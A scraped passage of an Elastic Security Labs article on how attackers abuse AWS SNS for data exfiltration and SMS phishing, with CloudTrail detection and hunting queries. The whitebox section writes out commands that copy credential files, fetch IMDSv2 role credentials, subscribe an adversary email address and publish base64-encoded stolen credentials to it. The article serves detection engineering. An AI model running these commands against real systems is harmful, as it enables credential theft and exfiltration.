002.485-2.58l-.001-.001z"></path></svg><span>@elasticseclabs</span></a></li></ul></nav></div><div class="flex flex-col space-y-1 text-zinc-300"><p>© <!-- -->2025<!-- -->. Elasticsearch B.V. All Rights Reserved.</p></div></div></footer></main></div><script id="__NEXT_DATA__" type="application/json">{"props":{"pageProps":{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var c=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var l=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var h=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var r in e)c(t,r,{get:e[r],enumerable:!0})},o=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let s of f(e))!_.call(t,s)\u0026\u0026s!==r\u0026\u0026c(t,s,{get:()=\u003ee[s],enumerable:!(a=g(e,s))||a.enumerable});return t};var y=(t,e,r)=\u003e(r=t!=null?x(l(t)):{},o(e||!t||!t.__esModule?c(r,\"default\",{value:t,enumerable:!0}):r,t)),d=t=\u003eo(c({},\"__esModule\",{value:!0}),t);var i=h((X,u)=\u003e{u.exports=_jsx_runtime});var D={};j(D,{default:()=\u003eC,frontmatter:()=\u003ep});var n=y(i()),p={title:\"Security research\",slug:\"security-research\",categories:[{slug:\"security-research\"}]};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return d(D);})();\n;return Component;"},"_id":"topics/security-research.mdx","_raw":{"sourceFilePath":"topics/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"topics","contentType":"mdx","flattenedPath":"topics/security-research"},"type":"Topic","url":"/topics/security-research","categories":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}],"articles":[{"title":"AWS SNS Abuse: Data Exfiltration and Phishing","slug":"aws-sns-abuse","date":"2025-03-13","description":"During a recent internal collaboration, we dug into publicly known SNS abuse attempts and our knowledge of the data source to develop detection capabilities.","image":"Security Labs Images 7.jpg","subtitle":"Exploring how adversaries abuse AWS SNS services and detection capabilities","body":{"raw":"\n# Preamble\n\nWelcome to another installment of AWS detection engineering with Elastic. This article will dive into both how threat adversaries (TA) leverage AWS’ Simple Notification Service (SNS) and how to hunt for indicators of abuse using that data source.\n\nExpect to learn about potential techniques threat adversaries may exercise in regards to SNS. We will also explore security best practices, hardening roles and access, as well as how to craft threat detection logic for SNS abuse.\n\nThis research was the result of a recent internal collaboration that required us to leverage SNS for data exfiltration during a whitebox exercise. During this collaboration, we became intrigued by how a simple publication and subscription (pub/sub) service could be abused by adversaries to achieve various actions on objectives. We dug into publicly known SNS abuse attempts and our knowledge of the data source to assemble this research about detection opportunities.\n\nDo enjoy!\n\n# Understanding AWS SNS\n\nBefore we get started on the details, let’s discuss what AWS SNS is to have a basic foundational understanding.\n\nAWS SNS is a web service that allows users to send and receive notifications from the cloud. Think of it like a news feed service where a digital topic is created, those who are interested with updates subscribe via email, slack, etc. and when data is published to that topic, all subscribers are notified and receive it. This describes what is commonly referred to as a pub/sub service provided commonly by cloud service providers (CSP). In Azure, this is offered as [Web PubSub](https://azure.microsoft.com/en-us/products/web-pubsub), whereas GCP offers [Pub/Sub](https://cloud.google.com/pubsub#documentation). While the names of these services may slightly differ from platform to platform, the utility and purpose do not.\n\nSNS provides two workflows, [application-to-person](https://docs.aws.amazon.com/sns/latest/dg/sns-user-notifications.html) (A2P) , and [application-to-application](https://docs.aws.amazon.com/sns/latest/dg/sns-system-to-system-messaging.html) (A2A) that serve different purposes. A2P workflows focus more on integral operation with AWS services such as Firehose, Lambda, SQS and more. However, for this article we are going to focus our attention on A2P workflows. As shown in the diagram below, an SNS topic is commonly created, allowing subscribers to leverage SMS, email or push notifications for receiving messages.\n\n# \n\n# \n\n**Additional Features:**\n\n**Filter Policies:** Subscribers can define filtering rules to receive only a relevant subset of messages if they choose. These filter policies are defined in JSON format; specifying which attributes of a message the subscriber is interested in. SNS evaluates these policies server-side before delivery to determine which subscribers the messages should be sent to.\n\n**Encryption**: SNS leverages [server-side encryption](https://docs.aws.amazon.com/sns/latest/dg/sns-server-side-encryption.html) (SSE) using AWS Key Management Service (KMS) to secure messages at rest. When encryption is enabled, messages are encrypted before being stored in SNS and then decrypted upon delivery to the endpoint. This is of course important for maintaining the security of Personal Identifiable Information (PII) or other sensitive data such as account numbers. Not to fear, although SNS only encrypts at rest, other protocols (such as HTTPS) handle encryption in transit, making it end-to-end (E2E).\n\n**Delivery Retries and Dead Letter Queues (DLQs)**: SNS automatically retries message delivery to endpoints, such as SQS, Lambda, etc. in case of unexpected failures. However, messages that fail to deliver ultimately reside in [DLQs](https://docs.aws.amazon.com/sns/latest/dg/sns-dead-letter-queues.html), which is typically an AWS SQS queue enabling debugging for developers.\n\n**Scalability**: AWS SNS is designed to handle massive message volumes, automatically scaling to accommodate increasing traffic without manual intervention. There are no upfront provisioning requirements, and you pay only for what you use, making it cost-effective for most organizations.\n\nAWS SNS is a powerful tool for facilitating communication in cloud environments. For a deeper understanding, we recommend diving into the existing [documentation](https://docs.aws.amazon.com/sns/latest/dg/welcome.html) from AWS. However, its versatility and integration capabilities also make it susceptible to abuse. In the next section, we explore some scenarios where adversaries might leverage SNS for malicious purposes. \n\n# Whitebox Testing\n\nWhitebox testing involves performing atomic emulations of malicious behavior in a controlled environment, with full visibility into the vulnerable or misconfigured infrastructure and its configurations. This approach is commonly employed in cloud environments to validate detection capabilities during the development of threat detection rules or models targeting specific tactics, techniques, and procedures (TTPs).. Unlike endpoint environments, where adversary simulations often involve detonating malware binaries and tools, cloud-based TTPs typically exploit existing API-driven services through \"living-off-the-cloud\" techniques, making this approach essential for accurate analysis and detection.\n\n## Data Exfiltration via SNS\n\nExfiltration via SNS starts with creating a topic that serves as a proxy for receiving stolen data and delivering it to the external media source, such as email or mobile. Adversaries would then subscribe that media source to the topic so that any data received is forwarded to them. After this is staged, it is only a matter of packaging data and publishing it to the SNS topic, which handles the distribution. This method allows adversaries to bypass traditional data protection mechanisms such as network ACLs, and exfiltrate information to unauthorized external destinations.\n\n**Example Workflow:**\n\n* Land on EC2 instance and perform discovery of sensitive data, stage it for later \n* Leverage IMDSv2 and STS natively with the installed AWS CLI to get temporary creds \n* Create a topic in SNS and attach an external email address as a subscriber \n* Publish sensitive information to the topic, encoded in Base64 (or plaintext) \n* The external email address receives the exfiltrated data\n\n \n\n### Infrastructure Setup\n\nFor the victim infrastructure, we’ll use our preferred infrastructure-as-code (IaC) framework, Terraform. \n\nA [public gist](https://gist.github.com/terrancedejesus/a01aa8f75f715e6baa726a21fcdf2289) has been created, containing all the necessary files to follow this example.. In summary, these Terraform configurations deploy an EC2 instance in AWS within a public subnet. The setup includes a [user-data script](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) that adds dummy credentials for sensitive data as environment variables, and installs the AWS CLI to emulate a compromised environment. Additionally, the EC2 instance is assigned an IAM role with permissions for `sns:Publish`, `sns:Subscribe` and `sns:CreateTopic`.\n\nThere are several potential ways an adversary might gain initial access to this EC2 instance, including exploiting vulnerable web applications for web shell deployment, using stolen SSH credentials, password spraying or credential stuffing. Within this particular example scenario; let’s assume the attacker gained initial entry via a vulnerable web application, and subsequently uploaded a web shell. The next goal in this case would be persistence via credential access.. This is commonly seen [in-the-wild](https://www.wiz.io/blog/wiz-research-identifies-exploitation-in-the-wild-of-aviatrix-cve-2024-50603) when adversaries target popular 3rd-party software or web apps such as Oracle WebLogic, Apache Tomcat, Atlassian Confluence, Microsoft Exchange and much more.\n\nTo get started, download the Terraform files from the gist. \n\n1. Adjust the variables in the `variables.tf` file to match your setup. \n 1. Add your whitelisted IPv4 addressfor trusted_ip_cidr \n 2. Add your local SSH key file path to public_key_path \n 3. Ensure the ami_id.default is the correct AMI-ID for your region \n2. Run `terraform init` in the folder to initialize the working directory. \n\nWhen ready, run `terraform apply` to deploy the infrastructure.\n\nA few reminders:\n\n* Terraform uses your AWS CLI default profile, so ensure you’re working with the correct profile in your AWS configuration. \n* The provided AMI ID is specific to the `us-east-1` region. If you're deploying in a different region, update the AMI ID accordingly in the `variables.tf` file. \n* Change `trusted_ip_cidr.default` in `variables.tf` from 0.0.0.0/0 (any IP) to your publicly known CIDR range.\n\n\n\n*Terraform apply output*\n\nLet’s SSH into our EC2 instance to ensure that our sensitive credentials were created from the user-data script. Note in the `outputs.tf` file, we ensured that the SSH command would be generated for us based on the key path and public IP of our EC2 instance. \n\n\n\nWith this infrastructure staged and confirmed, we can then move on to practical execution.\n\n### The Workflow in Practice: Exfiltrating Sensitive Credentials\n\nLet’s step through this workflow in practice, now that our infrastructure is established. As a reminder, the goal of our opportunistic adversary is to check for local credentials, grab what they can and stage the sensitive data locally. Since landing on this EC2 instance, we have identified the AWS CLI exists, and identified we have SNS permissions. Thus, we plan to create a SNS topic, register an external email as a subscriber and then exfiltrateour stolen credentials and other data as SNS messages.\n\nNote: While this example is extremely simple, the goal is to focus on SNS as a methodology for exfiltration. The exact circumstances and scenario will differ depending on the specific infrastructure setup of the victim.\n\n**Identify and Collect Credentials from Common Locations:** \nOur adversary will target GitHub credentials files and .env files locally with some good ol’ fashioned Bash scripting. This will take the credentials from these files and drop them into the `/tmp` temporary folder, staging them for exfiltration.\n\nCommand: cat /home/ubuntu/.github/credentials /home/ubuntu/project.env \\\u003e /tmp/stolen_creds.txt\n\n\n\n**Stage Exfiltration Method by Creating SNS Topic** \nLet’s leverage the existing AWS CLI to create the SNS topic. As a reminder, this EC2 instance assumes the custom IAM role we created and attached, which allows it to create SNS topics and publish messages. Since the AWS CLI is pre-installed on our EC2 instance, it will retrieve temporary credentials from IMDSv2 for the assumed role when invoked. However, if this were not the case, an adversary could retrieve credentials natively with the following bash code. \n\n```\n# Fetch the IMDSv2 token\nTOKEN=$(curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\n\n# Get the IAM role name\nROLE_NAME=$(curl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/)\n\n# Fetch the temporary credentials\nCREDENTIALS=$(curl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)\n\n# Extract the Access Key, Secret Key, and Token\nAWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKeyId')\nAWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey')\nAWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Token')\n```\n\nOnce this is complete, let’s attempt to create our SNS topic and the email address that will be used as our external receiver for the exfiltrated data.\n\nCreate Topic Command: ```TOPIC_ARN=$(aws sns create-topic --name \"whitebox-sns-topic\" --query 'TopicArn' --output text)```\n\nSubscribe Command: ```aws sns subscribe --topic-arn \"$TOPIC_ARN\" --protocol email --notification-endpoint \"adversary@protonmail.com\"```\n\nAs shown above after the commands are run, we can then navigate to the inbox of the external email address to confirm subscription. Once confirmed, our external email address will now receive any messages sent to the `whitebox-sns-topic topic` which we plan to use for exfiltration.\n\n\n\n**Exfiltrate Data via SNS Publish** \nAt this point, we have gained access to an EC2 instance, snooped around to understand our environment, identified some services for abuse and some credentials that we want to obtain. Note that our previous steps could all have been accomplished via a simple Bash script that could be dropped on the compromised EC2 instance via our webshell, but this is broken down into individual steps for example purposes..\n\nNext, we can take the data we stored in `/tmp/stolen_creds.txt`, base64 encode it and ship it to our adversary controlled email address via SNS.\n\nCommands:\n\n* Base64 encode contents: ```BASE64_CONTENT=$(base64 /tmp/stolen_creds.txt)``` \n* Publish encoded credentials to our topic: ```aws sns publish --topic-arn \"$TOPIC_ARN\" --message \"$BASE64_CONTENT\" --subject \"Encoded Credentials from EC2\"```\n\n\n\nOnce completed, we can simply check our inbox for these exfiltrated credentials.\n\n\n\nTaking the payload from our message, we can decode it to see that it represents the credentials we found lying around on the EC2 instance.\n\n\n\nAs many adversaries may attempt to establish persistence or laterally move throughout the AWS environment and services, they would then be able to rely on this SNS topic to exfiltrate data for as long as permissions were in scope for the IAM user or role. Additionally, they could set up a recurring job that scans for data on this EC2 instance and continually exfiltrates anything interesting over time. There are many practical options in this scenario for additional chaining that could be done.\n\n**Before continuing, we encourage you to use the following command to destroy your infrastructure once logging out of the SSH connection**: ```terraform destroy --auto-approve```\n\n### Challenges for Adversaries:\n\nOf course, there are many uncertaintiesin any whitebox testing that may prove as roadblocks or hurdles for a TA, both advanced and immature in knowledge, skills and abilities. It is also very dependent on the configuration and environment of the potential victim. Below are additional challenges that adversaries would face.\n\n**Initial Access**: Gaining initial access to the EC2 instance is often the biggest hurdle. This could involve exploiting a vulnerable web application or 3rd-party service, using stolen SSH credentials, password spraying or credential stuffing, or leveraging other means such as social engineering or phishing. Without initial access, the entire attack chain is infeasible.\n\n**Establishing an Active Session**: After gaining access, maintaining an active session can be difficult, especially if the environment includes robust endpoint protection or regular reboots that clear unauthorized activity. Adversaries may need to establish a persistent foothold using techniques like a webshell, reverse shell or an automated dropper script.\n\n**AWS CLI Installed on the Instance**: The presence of the AWS CLI on a public-facing EC2 instance is uncommon and not considered a best practice. Many secure environments avoid pre-installing the AWS CLI, forcing adversaries to bring their own tools or rely on less direct methods to interact with AWS services.\n\n**IAM Role Permissions**: The IAM role attached to the EC2 instance must include permissive policies for SNS actions (`sns:Publish`, `sns:Subscribe`, `sns:CreateTopic, sts:GetCallerIdentity`). Many environments restrict these permissions to prevent unauthorized use, and misconfigurations are often necessary for the attack to succeed. Best security practices such as principle-of-least-privilege (PoLP) would ensure the roles are set up with only necessary permissions.\n\n**Execution of Malicious Scripts**: Successfully executing a script or running commands without triggering alarms (e.g., CloudTrail, GuardDuty, EDR agents) is a challenge. Adversaries must ensure their activities blend into legitimate traffic or use obfuscation techniques to evade detection.\n\n### Advantages for Adversaries\n\nOf course, while there are challenges for the adversary with these techniques, let’s consider some crucial advantages that they may have as well.\n\n* **Blending In with Native AWS Services**: By leveraging AWS SNS for data exfiltration, the adversary's activity appears as legitimate usage of a native AWS flagship service. SNS is commonly used for notifications and data dissemination, making it less likely to raise immediate suspicion. \n* **Identity Impersonation via IAM Role**: Actions taken via the AWS CLI are attributed to the IAM role attached to the EC2 instance. If the role already has permissions for SNS actions and is used regularly for similar tasks, adversarial activity can blend seamlessly with expected operations. \n* **No Concerns with Security Groups or Network ACLs**: Since SNS communication occurs entirely within the confines of AWS, there’s no reliance on security group or Network ACL configurations. This bypasses traditional outbound traffic controls, ensuring the adversary's data exfiltration attempts are not blocked. \n* **Lack of Detections for SNS Abuse**: Abuse of SNS for data exfiltration is under-monitored in many environments. Security teams may focus on more commonly abused AWS services (e.g., S3 or EC2) and lack dedicated detections or alerts for unusual SNS activity, such as frequent topic creation or large volumes of published messages. \n* **Minimal Footprint with Non-Invasive Commands**: Local commands used by the adversary (e.g., `cat`, `echo`, `base64`) are benign and do not trigger endpoint detection and response (EDR) tools typically. These commands are common in legitimate administrative tasks, allowing adversaries to avoid detection on backend Linux systems. \n* **Efficient and Scalable Exfiltration**: SNS enables scalable exfiltration by allowing adversaries to send large amounts of data to multiple subscribers. Once set up, the adversary can automate periodic publishing of sensitive information with minimal additional effort. \n* **Persistent Exfiltration Capabilities**: As long as the SNS topic and subscription remain active, the adversary can use the infrastructure for ongoing exfiltration. This is especially true if the IAM role retains its permissions and no proactive monitoring is implemented. \n* **Bypassing Egress Monitoring and DLP**: Since the data is exfiltrated through SNS within the AWS environment, it bypasses traditional egress monitoring or data loss prevention solutions that focus on outbound traffic to external destinations.\n\n# In-the-Wild Abuse\n\nWhile whitebox scenarios are invaluable for simulating potential adversarial behaviors, it is equally important to ground these simulations with in-the-wild (ItW) threats. To this end, we explored publicly available research and identified a [key article](https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/) from SentinelOne describing a spam messaging campaign that leveraged AWS SNS. Using insights from this research, we attempted to replicate these techniques in a controlled environment to better understand their implications.\n\nAlthough we will not delve into the attribution analysis outlined in SentinelOne’s research, we highly recommend reviewing their work for a deeper dive into the campaign’s origins. Instead, our focus is on the tools and techniques employed by the adversary to abuse AWS SNS for malicious purposes.\n\n## Smishing and Phishing\n\nCompromised AWS environments with pre-configured SNS services can serve as launchpads for smishing (SMS phishing) or phishing attacks. Adversaries may exploit legitimate SNS topics and subscribers to distribute fraudulent messages internally or externally, leveraging the inherent trust in an organization’s communication channels.\n\nAs detailed in SentinelOne’s [blog](https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/), the adversary employed a Python-based tool known as **SNS Sender**. This script enabled bulk SMS phishing campaigns by interacting directly with AWS SNS APIs using compromised AWS credentials. These authenticated API requests allowed the adversary to bypass common safeguards and send phishing messages in mass..\n\nThe [**SNS Sender script**](https://www.virustotal.com/gui/file/6d8c062c23cb58327ae6fc3bbb66195b1337c360fa5008410f65887c463c3428) leverages valid AWS access keys and secrets to establish authenticated API sessions via the AWS SDK. Armed with these credentials, adversaries can craft phishing workflows that include:\n\n1. Establishing authenticated SNS API sessions via the AWS SDK. \n2. Enumerating and targeting lists of phone numbers to serve as phishing recipients. \n3. Utilizing a pre-registered Sender ID (if available) for spoofing trusted entities. \n4. Sending SMS messages containing malicious links, often impersonating a legitimate service.\n\n\n\nElastic Security Labs predicts that the use of one-off or commercially available tools for abusing cloud services, like SNS Sender, will continue to grow as a research focus. This underscores the importance of understanding these tools and their impact on cloud security.\n\n### Weaponization and Pre-Testing Considerations\n\nTo successfully execute a phishing campaign at scale using AWS SNS, the adversary would have needed access to an already registered AWS End User Messaging organization. AWS restricts new accounts to SNS Sandbox Mode, which limits SMS sending to manually verified phone numbers. To bypass sandbox restrictions, adversaries would need access to an account already approved for production SMS messaging. The process of testing and weaponization would have required several key steps.\n\nA fully configured AWS End User Messaging setup would require:\n\n* An established origination identity (which includes a long code, toll-free number, or short code). \n* Regulatory approval through a brand registration process. \n* Carrier pre-approval for high-volume SMS messaging.\n\nWithout these pre-registered identifiers, AWS SNS messages may be deprioritized, blocked, or fail to send.\n\nBefore deploying a large-scale attack, adversaries would likely test SMS delivery using verified phone numbers within AWS SNS Sandbox Mode. This process requires:\n\n* Manually verifying phone numbers before sending messages. \n* Ensuring their carrier allows AWS SNS sandbox messages, as some (like T-Mobile and Google Voice) frequently block AWS SNS sandbox verification SMS. \n* Testing delivery routes across different AWS regions to identify which countries permit custom Sender IDs or allow non-sandbox messages.\n\nIf an attacker’s test environment failed to receive SNS verification OTPs, they would likely pivot to a different AWS account or leverage a compromised AWS account that already had production-level messaging permissions.\n\nIn addition to this, the adversary would likely prioritize transactional messages over promotional. Transactional messages are prioritized by AWS (OTPs, security alerts, etc.) \\- whereas promotional messages are lower priority and may be filtered or blocked by certain carriers.\n\nIf adversaries cannot override message type defaults, their phishing messages may be deprioritized or rejected by AWS, which could be a hurdle.\n\n**Registered Origination Identity \u0026 Sender ID (If Supported)**\n\nAWS requires brand registration and origination identity verification for businesses sending high-volume SMS messages. Depending on the region and carrier, adversaries may be able to exploit different configurations:\n\n* **Sender ID Abuse**: In some non-U.S. regions, adversaries could register a Sender ID to make phishing messages appear from a trusted entity. This may allow for spoofing banks, shipping companies, or government agencies, making the phishing attempt more convincing. \n* **Long Code \u0026 Toll-Free Exploitation**: AWS SNS assigns long codes (standard phone numbers) or toll-free numbers for outbound SMS. Toll-free numbers require registration but could still be abused if an adversary compromises an AWS account with an active toll-free messaging service. \n* **Short Code Restrictions**: High-throughput short codes (5- or 6-digit numbers) are often carrier-controlled and require additional vetting, making them less practical for adversaries.\n\n### **Infrastructure Setup**\n\nBy default, AWS accounts that have not properly configured the [End User Messaging](https://docs.aws.amazon.com/sms-voice/latest/userguide/what-is-sms-mms.html) service are restricted to an [**SMS sandbox**](https://aws.amazon.com/blogs/compute/introducing-the-sms-sandbox-for-amazon-sns/). This sandbox allows developers to test SMS functionality by sending messages to verified phone numbers. However, as we discovered, the process of verifying numbers in the sandbox is fraught with challenges.\n\nDespite repeated attempts to register phone numbers with the sandbox, we found that verification messages (OTP codes) failed to arrive at endpoints across various carriers and services, including Google Voice and Twilio. This suggests that mobile carriers may block these sandbox-originated messages, effectively stalling the verification process but ultimately blocking us from emulating the behavior.\n\nFor production use, [migrating](https://docs.aws.amazon.com/sns/latest/dg/sns-sms-sandbox-moving-to-production.html) from the sandbox requires a fully configured AWS End User Messaging service. This includes:\n\n* A legitimate Sender ID. \n* A phone pool for failovers. \n* Origination identity. \n* Brand registration for regulatory compliance.\n\nThis setup aligns with the requirements of the SNS Sender script and represents an ideal environment for adversaries. The use of a Sender ID, which relies on a pre-established [origination identity](https://docs.aws.amazon.com/sns/latest/dg/channels-sms-originating-identities.html) and brand registration, allows phishing messages to appear as though they originate from a reputable organization. This reduces the likelihood of detection or carrier-level blocking, increasing the success rate of the campaign.\n\nThe requirements for this attack suggests adversaries are likely to target companies that use AWS End User Messaging for automated SMS alerts and messaging. Industries such as logistics and delivery services, e-commerce platforms, and travel and hospitality are prime targets due to their reliance on automated SMS notifications.\n\nOn the recipient's side, the phishing message appears as if it originates from a trusted entity, bypassing carrier alarms and evading suspicion.\n\nDuring our testing, we encountered unexpected behavior with logging in CloudTrail when attempting to use the script and AWS CLI to send SMS messages directly through SNS. Failed message delivery attempts did not appear in CloudTrail logs as expected.\n\nAlthough the [**Publish**](https://docs.aws.amazon.com/sns/latest/api/API_Publish.html) API call is generally logged in CloudTrail (provided data plane events are enabled), it remains unclear if the absence of logs for failed attempts was due to inherent SNS behavior or misconfiguration on our part. This gap highlights the need for deeper investigation into how failed SNS Publish requests are handled by AWS and whether additional configurations are required to capture these events reliably.\n\nAs a result, we determined it would be best to include a threat hunting query for this rather than a detection rule due to the inability to fully replicate the adversary behavior, reliance on pre-established and registered brands and origination identity, in full. \n\n# Detection and Hunting Opportunities\n\nFor detection and hunting, CloudTrail audit logs provide enough visibility for the subsequent API calls from this activity. They also include enough contextual information to help aid with a higher fidelity of these anomalous signals. The following detections and hunting queries will leverage CloudTrail data ingested into our Elastic stack with the AWS CloudTrail integration, however they should be translatable to the SIEM of your choice if needed. For this activity, we focus solely on assumed roles, specifically those with EC2 instances being abused but this could take place elsewhere in AWS environments.\n\n## SNS Topic Created by Rare User\n\n[Detection Rule Source](https://github.com/elastic/detection-rules/blob/c5523c4d4060555e143b2d46fea1748173352b8f/rules/integrations/aws/resource_development_sns_topic_created_by_rare_user.toml) \n[Hunting Query Source](https://github.com/elastic/detection-rules/blob/7fb13f8d5649cbcf225d2ade964bdfef15ab6b11/hunting/aws/docs/sns_topic_created_by_rare_user.md) \nMITRE ATT\\\u0026CK: [T1608](https://attack.mitre.org/techniques/T1608/)\n\nIdentifies when an SNS topic is created by a rare AWS user identity ARN (IAM User or Role). This detection leverages Elastic’s New Terms type rules to identify when the first occurrence of a user identity ARN creates an SNS topic. It would be awfully unusual for an assumed role, typically leveraged for EC2 instances to be creating SNS topics.\n\nOur query leverages KQL and [New Terms rule type](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule) to focus on topics created by an Assumed Role specifically for an EC2 instance.\n\n```\nevent.dataset: \"aws.cloudtrail\"\n and event.provider: \"sns.amazonaws.com\"\n and event.action: \"Publish\"\n and aws.cloudtrail.user_identity.type: \"AssumedRole\"\n and aws.cloudtrail.user_identity.arn: *i-*\n```\n\n### Hunting Query (ES|QL) \n\nOur hunting query focuses on the CreateTopic API action from an entity whose identity type is an assumed role. We also parse the ARN to ensure that it is an EC2 instance this request is sourcing from. We can then aggregate on cloud account, entity (EC2 instance ID), assumed role name, region and user agent. If it is unusual for the EC2 instance reported to be creating SNS topics randomly, then it may be a good anomalous signal to investigate.\n\n```\nfrom logs-aws.cloudtrail-*\n| where @timestamp \u003e now() - 7 day\n| WHERE\n event.dataset == \"aws.cloudtrail\" AND\n event.provider == \"sns.amazonaws.com\" AND\n event.action == \"Publish\"\n and aws.cloudtrail.user_identity.type == \"AssumedRole\"\n| DISSECT aws.cloudtrail.request_parameters \"{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}\"\n| DISSECT aws.cloudtrail.user_identity.arn \"%{?}:assumed-role/%{assumed_role_name}/%{entity}\"\n| DISSECT user_agent.original \"%{user_agent_name} %{?user_agent_remainder}\"\n| WHERE STARTS_WITH(entity, \"i-\")\n| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name\n| SORT regional_topic_publish_count ASC\n```\n\nHunting Notes:\n\n* It is unusual already for credentials from an assumed role for an EC2 instance to be creating SNS topics randomly. \n* If a user identity access key (aws.cloudtrail.user_identity.access_key_id) exists in the CloudTrail audit log, then this request was accomplished via the CLI or programmatically. These keys could be compromised and warrant further investigation. \n* An attacker could pivot into Publish API actions being called to this specific topic to identify which AWS resource is publishing messages. With access to the topic, the attacker could then further investigate the subscribers list to identify unauthorized subscribers.\n\n## SNS Topic Subscription with Email by Rare User\n\n[Detection Rule Source](https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/exfiltration_sns_email_subscription_by_rare_user.toml) \n[Hunting Query Source](https://github.com/elastic/detection-rules/blob/7fb13f8d5649cbcf225d2ade964bdfef15ab6b11/hunting/aws/docs/sns_email_subscription_by_rare_user.md) \nMITRE ATT\u0026CK: [T1567](https://attack.mitre.org/techniques/T1567/), [T1530](https://attack.mitre.org/techniques/T1530/)\n\nIdentifies when an SNS topic is subscribed to by a rare AWS user identity ARN (IAM User or Role). This detection leverages Elastic’s **New Terms** type rules to identify when the first occurrence of a user identity ARN attempts to subscribe to an existing SNS topic.The data exfiltration which took place during our whitebox testing example above would have been caught by this threat hunt; an alert would have been generated when we establish an SNS subscription to an external user. \n\nFurther false-positive reductions could be obtained by whitelisting expected organization TLDs in the requested email address if the topic is meant for internal use only.\n\nOur query leverages KQL and New Terms rule type to focus on subscriptions that specify an email address. Unfortunately, CloudTrail redacts the email address subscribed or this would be vital for investigation.\n\n```\nevent.dataset: \"aws.cloudtrail\"\n and event.provider: \"sns.amazonaws.com\"\n and event.action: \"Subscribe\"\n and aws.cloudtrail.request_parameters: *protocol=email*\n```\n\n**New Terms value**: aws.cloudtrail.user_identity.arn\n\n### Hunting Query (ES|QL)\n\nOur hunting query leverages ES|QL but parses the Subscribe API action parameters to filter further on the email protocol being specified. It also parses out the name of the user-agent, but relies further on aggregations to potentially identify other anomalous user-agent attributes. We've also included the region where the subscription occurred, as it may be uncommon for certain regions to be subscribed to others, depending on the specific business context of an organization.\n\n```\nfrom logs-aws.cloudtrail-*\n| where @timestamp \u003e now() - 7 day\n| WHERE\n event.dataset == \"aws.cloudtrail\" AND\n event.provider == \"sns.amazonaws.com\" AND\n event.action == \"Subscribe\"\n| DISSECT aws.cloudtrail.request_parameters \"%{?protocol_key}=%{protocol}, %{?endpoint_key}=%{redacted}, %{?return_arn}=%{return_bool}, %{?topic_arn_key}=%{topic_arn}}\"\n| DISSECT user_agent.original \"%{user_agent_name} %{?user_agent_remainder}\"\n| WHERE protocol == \"email\"\n| STATS regional_topic_subscription_count = COUNT(*) by aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name\n| WHERE regional_topic_subscription_count == 1\n| SORT regional_topic_subscription_count ASC\n```\n\nHunting Notes:\n\n* If a user identity access key (aws.cloudtrail.user_identity.access_key_id) exists in the CloudTrail audit log, then this request was accomplished via the CLI or programmatically. These keys could be compromised and warrant further investigation. \n* Ignoring the topic ARN during aggregation is important to identify first occurrence anomalies of subscribing to SNS topic with an email. By not grouping subscriptions by topic ARN, we ensure that the query focuses on detecting unexpected or infrequent subscriptions only, regardless of specific topics already established. \n* Another query may be required with the user identity ARN as an inclusion filter to identify which topic they subscribed to. \n* If an anomalous user-agent name is observed, a secondary investigation into the user-agent string may be required to determine if it's associated with automated scripts, uncommon browsers, or mismatched platforms. While it is simple to fake these, adversaries have been known not to for undisclosed reasons.\n\n## SNS Topic Message Published by Rare User\n\n[Detection 